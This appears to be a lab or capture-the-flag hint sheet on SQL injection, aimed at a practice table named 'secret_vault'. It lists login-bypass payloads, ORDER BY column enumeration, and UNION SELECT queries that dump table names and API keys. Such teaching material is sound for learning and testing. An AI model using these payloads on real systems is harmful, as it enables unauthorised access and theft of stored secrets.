WHAT IS SQL INJECTION?
SQL injection occurs when user input is inserted directly into a SQL query without sanitization. An attacker can manipulate the query logic to bypass authentication, extract data, or destroy records.
PHASE 1 — LOGIN BYPASS PAYLOADS
The login query likely looks like:
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
Inject into the username field to short-circuit the AND clause:
' OR '1'='1' --
' OR 1=1 --
admin' --
' OR 'x'='x
') OR ('1'='1
The -- comments out the rest of the query. Use any password when the username payload is injected.
PHASE 2 — UNION-BASED EXTRACTION
Once inside, find injectable fields. UNION SELECT lets you append results from other tables. You must first find the number of columns.
STEP 1 — ENUMERATE COLUMNS WITH ORDER BY
' ORDER BY 1 -- ← works
' ORDER BY 2 -- ← works
' ORDER BY 3 -- ← works
' ORDER BY 4 -- ← ERROR → 3 columns!
STEP 2 — UNION SELECT TO DUMP DATA
' UNION SELECT 1,2,3 --
' UNION SELECT table_name,2,3
FROM information_schema.tables --
' UNION SELECT vault_id,api_key,note
FROM secret_vault --
TIPS
• The number of columns in your UNION must match the original query
• Use -- or # to comment out trailing SQL
• If results show numbers like 1, 2, 3 — those are your injectable positions
• Target table: secret_vault with columns vault_id, api_key, note